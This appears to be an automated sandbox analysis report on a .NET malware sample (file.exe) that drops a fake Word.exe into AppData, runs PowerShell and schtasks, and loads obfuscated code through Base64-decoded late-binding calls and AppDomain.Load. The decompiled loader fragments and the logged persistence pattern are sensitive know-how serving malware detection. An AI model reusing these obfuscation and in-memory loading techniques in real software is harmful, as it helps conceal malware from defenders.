Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Word.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: Word.lnk.0.dr

LNK file: ..\..\..\..\..\Word.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.lfkj5o0jgYcg150GJxwCqLzvOjZiQGcJgoXeuT764dhSh70It70KxS8s,_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.jokzdDiPkRx8uIfBrGLWdt6mmQ1BT3zKYWShSFDf7R01EANG6gHc5QsJ,_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.FbPaFUO55gCykI9qOTMXgURryVQlpYrZAQlkFSj6qVuIeHiAywz0ZPXo,_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.gyEYYIb2Qrx1nY2ULwbNgwV3Vd1cDSTSMzpDv8uEy1eo7htJd4WyIWJa,RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.iQbtMMDbqvw782M0VjWlH0OXdI6OrmMnRHmTbIGY0pzJfs0XOz9ZgACkTrDlsMwqrwokNcYpd()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{IWNQNfBfJyp9J30iqt4h6bFbIc3K1nHz5RLjnzNHF[2],RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.VkdyIkaSgcgLysr59lJnb5xqWlmjdNthPGEqu6t9D6XLH1PJCHj9C638z06jGOoaAMqntkAzF(Convert.FromBase64String(IWNQNfBfJyp9J30iqt4h6bFbIc3K1nHz5RLjnzNHF[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { IWNQNfBfJyp9J30iqt4h6bFbIc3K1nHz5RLjnzNHF[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.lfkj5o0jgYcg150GJxwCqLzvOjZiQGcJgoXeuT764dhSh70It70KxS8s,_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.jokzdDiPkRx8uIfBrGLWdt6mmQ1BT3zKYWShSFDf7R01EANG6gHc5QsJ,_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.FbPaFUO55gCykI9qOTMXgURryVQlpYrZAQlkFSj6qVuIeHiAywz0ZPXo,_4RAAUk7QYYdq5C5Xl7TeS7uEMYdqQMRzkeS1SsiRmH1sNGBn9MLxdVpF.gyEYYIb2Qrx1nY2ULwbNgwV3Vd1cDSTSMzpDv8uEy1eo7htJd4WyIWJa,RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.iQbtMMDbqvw782M0VjWlH0OXdI6OrmMnRHmTbIGY0pzJfs0XOz9ZgACkTrDlsMwqrwokNcYpd()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{IWNQNfBfJyp9J30iqt4h6bFbIc3K1nHz5RLjnzNHF[2],RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.VkdyIkaSgcgLysr59lJnb5xqWlmjdNthPGEqu6t9D6XLH1PJCHj9C638z06jGOoaAMqntkAzF(Convert.FromBase64String(IWNQNfBfJyp9J30iqt4h6bFbIc3K1nHz5RLjnzNHF[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { IWNQNfBfJyp9J30iqt4h6bFbIc3K1nHz5RLjnzNHF[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: _7jMSGkZwhKQVohw0oZ5Md5Oz1qwwxXktQrdXNNfbB System.AppDomain.Load(byte[])
Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: lATz7EGifXIK288ROrMFnjJccSvuS7KesaYcv3Aw2 System.AppDomain.Load(byte[])
Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: lATz7EGifXIK288ROrMFnjJccSvuS7KesaYcv3Aw2
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: _7jMSGkZwhKQVohw0oZ5Md5Oz1qwwxXktQrdXNNfbB System.AppDomain.Load(byte[])
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: lATz7EGifXIK288ROrMFnjJccSvuS7KesaYcv3Aw2 System.AppDomain.Load(byte[])
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	.Net Code: lATz7EGifXIK288ROrMFnjJccSvuS7KesaYcv3Aw2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAC36D2A5 pushad ; iretd	7_2_00007FFAAC36D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAC552316 push 8B485F92h; iretd	7_2_00007FFAAC55231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FFAAC35D2A5 pushad ; iretd	11_2_00007FFAAC35D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FFAAC542316 push 8B485F93h; iretd	11_2_00007FFAAC54231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFAAC35D2A5 pushad ; iretd	14_2_00007FFAAC35D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFAAC470DD0 pushad ; retf	14_2_00007FFAAC470E0D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFAAC472A7D push E95E0372h; ret	14_2_00007FFAAC472AC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFAAC542316 push 8B485F93h; iretd	14_2_00007FFAAC54231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FFAAC35D2A5 pushad ; iretd	16_2_00007FFAAC35D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FFAAC542316 push 8B485F93h; iretd	16_2_00007FFAAC54231B

Source: file.exe, YUxmYeJDPRnlw3T.cs	High entropy of concatenated method names: 'fHLOyVH2K85hG1c', 'Nj4BjAq5QDTawyp', 'NVQdiEA4atNmfH2', 'roLdd8FocBPmcSW3jWMzKVTgUvgrsdzdnAivvEQ74fnDPQfO4wvIwOr0Y2bwmvoxvRzRK9l0SPYOJH4JUyLEJoN7xTX', 'uSpsTOE1TNgf4Sn9Ym3ThUEw5cNz1VAXFQVgkvz4bTO6uNUi2oozVQSkDc4j9MFFUvEPhmWtytJldoYCcQDZxkxI62R', 'rSp9F2OqrcFdgQgRrxnOTxAUrXLAVYgaZrjpc8i5ocVE9lJBTK40mq1A8Wyyj0ZMYd0UMiMZ1YZJkuEiax2UWVMTh9q', 'Xw2PA45RnKlmWL1PepvBqLxa1XPrKgQhE2n8HbJiwFuDs79iLe1QiOr3i6MoLkgNBJJQ8NRz3Yltm4dIHrC93OPQIQi', 'rs5Q6SxzQBMFrjE0XBaNmiZAxEV6xADsYz8OqtjE31PBnFAadSGtNKppV0LGNxOofcxeey4JSIQILFEpYREDwcJvpki', 'vbkC3oZc3EAvpbzecwyokHeOyoY1WNif8edYgLPiXF5lAO3GynSkppZRBviou9Vj3CQHijUYPS50al5qSAJOjXIK4jL', 'wZkWBWuTFWXqwY6UyVpmuEvY4am8YRyliv5WevaCTx8KlmiOCa46bt53PctU17gjWaNgKbmhOT3uQ7Sy68YL6J54kZM'
Source: file.exe, taMvE5W0keovYmuuyuBf5WmdOZd5KboRfyckDTKdG.cs	High entropy of concatenated method names: 'B1sdtwqjStM0CxJ0daBN2p8j1c7HzmmIoPeabstDR', 'ckTQjbYDptaMCC2UM8QfylDYF8zdBP7M07Bn0qAmR', '_5op32Unrsoa22ZVjocKNqFpf340T07Z3SESUriRDk', 'l0dqsDK2X3oeCsDwjebL5odKKY7szwF1VevaDXEpP', 'DKNw9fIjCCGpsFOxv4q73W61byabiUQOuIbmD11Sj', 'KkF6ezcTTJiff6HMC9GC6yfaL2csuxT9wMhcyLiUb', 'X3Qy98DjSo1ioa5NlyRTYe0MMFgQVH6sTxCDi8F50', 'LPYn3TE44Z1Z6NdpGbhvMLArGSGkNCaqMSfGCKYSo', '_0Nsh292PLReeg53MxGm4W6ijkJH0AyWkcvsEBBuXV', 'uYs4ipD2ZP26Dmpkri5aAaL9624qu0NOE8YUW3z98'
Source: file.exe, ub99fRJjxxhOnbd1IRYK3hmGl4xhrDhQcSfdxKqEc9S0YSzeggxQAVz5.cs	High entropy of concatenated method names: 'IsXvgMmWDDi0GKmwYfXrSLt4su9kFPU7wWk4lfnpKralluJOyR1O8H5Q', 'GYjnmKgKouHVNH0JdIwf0BeGwrjgK83lxgxu4AawyrjXy2giDgl7OT7e', 'etppLJxJSB1jXw7jBRZOYsBFNHfce6yLxQ9smSdnIVahjePL1eMC1LAB', 'mWhsJeu1pwPfZfLjMzwX60PYjwSHzjepZee8xvFSwREs50OlRjEgSSTm', 'gekegH71eyGepeEfXtreeLtMQWSFLQ0vOjK4IylgxNcojYqauU7DBT9z', 'YxrrqccR1sKFfWKqRULJsM2oeDbUQ7yc0StZ1sDtEe6XZYZEB2aSnM3t', 'AWDtNnkHUylCqjU5wBtXJXufIZzd4YgH3GLouwFMbOZjrJEw8YubsUH7', 'kTQwu5HWmkxLRwgqwypDw5vzcBwGdPLE0K28AYie9', 'd88PPtA5HFqo3U0zeirQAL0Crgqmtu2QQLqN3umq9', 'bVyXES4EP09o6Z7wQZtX3MUV2mYkzEhHtgQKMvMZ8'
Source: file.exe, iAbAE9flz7Sm8xHN82X5gX1oQxkYqqqskhT3TlE2n.cs	High entropy of concatenated method names: 'yRCrefISSSO9KWzUqTGsjiJCYUupPgUhVKJbAgB7W', '_5p0ZJXgaH19u9mytvv0RFgOtE1affrRAPVnNzHt0t', 'p6SnofuYomIiWhwmFFlhsbneqfXntomUysUzdhASI', 'z2Lq6F1gErbuz72', '_1UmFzQS39E58jJo', 'VWDpxUNsHVRQGN7', '_8chWRbguLFweSc4', '_8MANYhnxwTJW6Gp', 'KnLcf6fuIO1J1YJ', 'Tyf1roLBZp8DQw1'
Source: file.exe, RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.cs	High entropy of concatenated method names: 'AJj4PiCzNRpVVh1h6SNCk5iZfdyq0b0DQIYopFB8yJ4gKPPDr3Zqilj0cG0wxgiv1eAVjnlEH', 'EODVf7Ga3OHYvpZ5fetPPbScOlbBvYCPP2T2XuHNaz0ropsh3bGXl84EB0PGQyAmgl1ml2mFp', 'oMAom6AsDSszDD6lMI1HpRML292RI6Dztw9FMNx6WcCK0PlhkfyqwWMEri8PXmjwmaFzqH4Mw', 'qSxMAfFfmHHBxkRhG2188bSZcWq3406xigdKjK2TPaqqAoI9Dwl9Ss27GoMwqlE6vbARGLgK8', '_8oCHdwqYLaRUveuWJIkD7TjCvXyn4an2steRTazFEKeh3Gd3dMPLZtOi3WaaYZe1QsDGgO0ol', '_4PqWNp3bk1I0rI8OjNdlnJqZwSpjTIioGh6A5wDM43ARFfHPBBBTvPLY9DuQ05ikhNyVJp9cW', 'hBTxg4VsVUIBuLR488GZa3LMpjRTTX7uMYI59ZclrrvJPu5GerqKmRc7AAWyJ29OxrtTOKan7', 'p2gx5I1BkIiUMU0j6O6WCSMAgQyevZiHQASksVw8A6zD1d9U8PoMs5B35yBqTCmiQaFdmWBgk', '_3OkkEhhbiTvhxzRqLQ4N4kGNKFHfDMsEtXqzDkpVkUHTHs7Mk0QIaIvCBdrcMgdm1Afyduwqz', 'dhkYYv1dzDNd5JQxzVjx7zNdGZqtqIg0egcJcaNyVCeo3EEoRn5DTeiVNR7XMUXnSKTIiacGs'
Source: file.exe, nA4euSjsOXy4pNXRxxctUrNzEHkcz7GLZ8jRdQKUWRYwesSxULAuplcxQqEOMiJ619XwMcogZ.cs	High entropy of concatenated method names: 'uu45Rv5DsusjQgpBVVgG6drwaZyN300zQP1phBMgvmjIsh9ckUZfcmX2KNHrFHoXLpZff18ji', '_32YdZyiF4lmfDB9CCpuMSFdeJUDyydqXKjtdtZUHXI5t634MQfkvhfULSWC1DqWQGbBSTt3oa', '_9thcFwXbldrAWPgJFSYabzPlxaP4fFSfEitnsICDu7ACg2C8bcxlJTD5QtA7THPzgNpuW6erN', 't9qiN0jKANMJcTKLiMAlFuLh6nngBwmJjtwhmiq2Q7FuXzG2RMWkyfHUI2AweoIj21NpJLBk6', 'ehwoKWrWLjfTr3D', 'h38quwluOc3NJwY', 'ypQJ4z7OYGJH2iT', 'ZKTBuq68FHQ4d7j', 'eVQmMrZ3XD90h7E', 'bMpYRpCW1FwN7Hw'
Source: file.exe, mYAr1k08yb0HzmCgp0BEzPHAJWWzMQXamHNPm3NQBAqCoG6fW6xB8GV5ryb6UTU5pbINLp5FL.cs	High entropy of concatenated method names: 'yLd9V3ROIm31ERTXD0xajGBQB7pdEvf0001HIgsDWZPuRyEDtOel1kxGNEmSCF7ugQvqXNeoy', 'DTI91qk01xp2Xyr', '_5BeCPNNVDa9jcy3', 'QmhPZC7bDNGvhzL', 'KZGPnKe0V6zZ2Sz'
Source: file.exe, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	High entropy of concatenated method names: 'yPjBiu2tQwzsG1EvdKk6bXNC2NKqtsU4PSCDUOEhl', '_7jMSGkZwhKQVohw0oZ5Md5Oz1qwwxXktQrdXNNfbB', 'FRgpR3Pn3yK9WRhVUMtJNEbXVeaPGXCKO9lArRD9D', 'shbSv9a7eGnp5x2qMZUGcksIU4kxeD9n9yHHDfHLJ', 'iEUUwGfw6yGiFSffG4RCAoJrCYay9gFwcmYm7XiGp', 'Sl3uJzyILrI33SqacM45OALSR4KwRgr8U0bWkJrpz', 'C8phO5yygQn5FEr0XcHechQRsqmUDtPLa79Ex90uY', 'BJAvCHu8oMuEpDCOnKdvg4XCY3Q1eFr1KxYfUIaH7', 't9bvEz17aK9Ydr4UJnpfXDak4DUFDKdSQnsws99wJ', 'UHUjR2XSbfiLpzPihQpFBOW1Qziqwjmz9Ye2PXClK'
Source: file.exe, iAOKDQGA3p7c29dSlFXyhBvszZmOLR4yirK1dQmhKkiKPA7vvD2EiLbV.cs	High entropy of concatenated method names: 'JKzkQFAfSHN3L83QnEhOKLJLCHO8dmO9ARv7FKEk7pUkTVNlxG5BsfQ9', 'L2vM753d7Dvz77V3VDAaai6tM5FMqB9RJzfeOmOs2aCxoqGjuDmBiwX4', 'afeHLN8kThwb0gQVBIR8Qdk79oDR4Q2KH2nBP8Wbkl7L5vhjImb6yCsJ', 'DxTDZEw6QCIJ9ifsB8eBupaKt64QAmdyEZkxWKu6jamdS3bvX12q3Zo6', '_1LE7eTixST7GMYuXH9DiuunmlmN1u1Efei5YrKtlpDmRbjROVBlUTZeE', 'fiQKEjSpVLFy7FQmHdt0IzVARX4JRrk5fvR0jh6Kwg7Ydx4Na6Wd75NR', 'ZA4jiIEIVeTXq0qmjn4MR199tRbqnLBWurWi0bFyQUEI4v1NPkUskmTv', 'AIrHFaG48GvzkfPhSDiEXnozH6fuKAsbElFG618R0b1TOfgZdOGobksu', 'AWo2cC80KKF41sRpkT9o5s14YWvOpwy1xhyQa1LRYXogMZRoa6Fuq8d7', 'XC1VWYIdMnzksOS0yiRN5QDIIrq1imvEZmZ2kNNj2JkgSBzdWe03C23H'
Source: Word.exe.0.dr, YUxmYeJDPRnlw3T.cs	High entropy of concatenated method names: 'fHLOyVH2K85hG1c', 'Nj4BjAq5QDTawyp', 'NVQdiEA4atNmfH2', 'roLdd8FocBPmcSW3jWMzKVTgUvgrsdzdnAivvEQ74fnDPQfO4wvIwOr0Y2bwmvoxvRzRK9l0SPYOJH4JUyLEJoN7xTX', 'uSpsTOE1TNgf4Sn9Ym3ThUEw5cNz1VAXFQVgkvz4bTO6uNUi2oozVQSkDc4j9MFFUvEPhmWtytJldoYCcQDZxkxI62R', 'rSp9F2OqrcFdgQgRrxnOTxAUrXLAVYgaZrjpc8i5ocVE9lJBTK40mq1A8Wyyj0ZMYd0UMiMZ1YZJkuEiax2UWVMTh9q', 'Xw2PA45RnKlmWL1PepvBqLxa1XPrKgQhE2n8HbJiwFuDs79iLe1QiOr3i6MoLkgNBJJQ8NRz3Yltm4dIHrC93OPQIQi', 'rs5Q6SxzQBMFrjE0XBaNmiZAxEV6xADsYz8OqtjE31PBnFAadSGtNKppV0LGNxOofcxeey4JSIQILFEpYREDwcJvpki', 'vbkC3oZc3EAvpbzecwyokHeOyoY1WNif8edYgLPiXF5lAO3GynSkppZRBviou9Vj3CQHijUYPS50al5qSAJOjXIK4jL', 'wZkWBWuTFWXqwY6UyVpmuEvY4am8YRyliv5WevaCTx8KlmiOCa46bt53PctU17gjWaNgKbmhOT3uQ7Sy68YL6J54kZM'
Source: Word.exe.0.dr, taMvE5W0keovYmuuyuBf5WmdOZd5KboRfyckDTKdG.cs	High entropy of concatenated method names: 'B1sdtwqjStM0CxJ0daBN2p8j1c7HzmmIoPeabstDR', 'ckTQjbYDptaMCC2UM8QfylDYF8zdBP7M07Bn0qAmR', '_5op32Unrsoa22ZVjocKNqFpf340T07Z3SESUriRDk', 'l0dqsDK2X3oeCsDwjebL5odKKY7szwF1VevaDXEpP', 'DKNw9fIjCCGpsFOxv4q73W61byabiUQOuIbmD11Sj', 'KkF6ezcTTJiff6HMC9GC6yfaL2csuxT9wMhcyLiUb', 'X3Qy98DjSo1ioa5NlyRTYe0MMFgQVH6sTxCDi8F50', 'LPYn3TE44Z1Z6NdpGbhvMLArGSGkNCaqMSfGCKYSo', '_0Nsh292PLReeg53MxGm4W6ijkJH0AyWkcvsEBBuXV', 'uYs4ipD2ZP26Dmpkri5aAaL9624qu0NOE8YUW3z98'
